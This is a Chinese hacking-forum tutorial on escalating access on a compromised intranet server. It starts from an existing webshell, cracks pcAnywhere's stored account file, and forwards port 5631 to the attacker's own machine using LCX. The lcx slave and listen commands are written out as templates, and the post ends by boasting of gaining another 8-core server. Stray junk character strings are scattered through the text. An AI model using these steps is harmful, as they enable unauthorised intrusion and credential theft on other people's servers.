[原创文章] pcanywhere之内网提权

pcanywhere

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。: S0 R- f8 d8 K
4 s: X# g4 t3 S/ E# m, V4 n
提权方法：pcanywhere+LCX: k: [1 m" y8 {- K" o2 L, r: g

获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
0 f" L! Q$ n0 t6 m
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
& h; |- C9 }) B0 u6 r$ p
9 G5 J, D: \, r7 Q5 W: Q) \# g& d% i
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。

呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。# h/ ?  |, v  G
9 ~1 `, E) G, y& k; u$ O' \
4 `, e: [8 F  T- |

由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``  J; D$ z2 g4 g7 j+ y, ~9 j

LCX的用法再简单说下：( q. T2 ]; f- e& h0 r! u7 V& ]7 I* y
+ ^* b! |/ z" w
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）8 t& \& Y: A, P4 b6 E9 r) ?7 ~& A
5 A& n3 \, e0 a* X/ Q
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）) u1 u' e* e6 z3 t7 v* }3 z

由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。, U7 L8 f" t4 r7 D9 B% L
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``& A3 W' ^7 J- Z- _  n: f; V% s
4 ]2 X+ f( Q0 C0 Z* f
9 {" S" t' ^$ p: _3 w% ?0 A" {
. ^9 ?8 ~, v" {. A' L, E
, Y% h2 R; q$ m' G( c, P) t4 S4 `
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
3 {" ~5 Y. a% I. v/ `( s
$ L/ O4 m5 q/ \) r6 I9 A% w
' e2 a8 b; ]0 c* q# f
0 U5 p* \4 w6 e' E! x" n
我们本地连接试试，输入我们刚破解的账号密码

呵呵``连接成功,服务器不错，又一个8核^︵^
2 P" Q* I- e: R9 R) C: l

附件: 您需要登录才可以下载或查看附件。没有帐号？注册

1 评分人数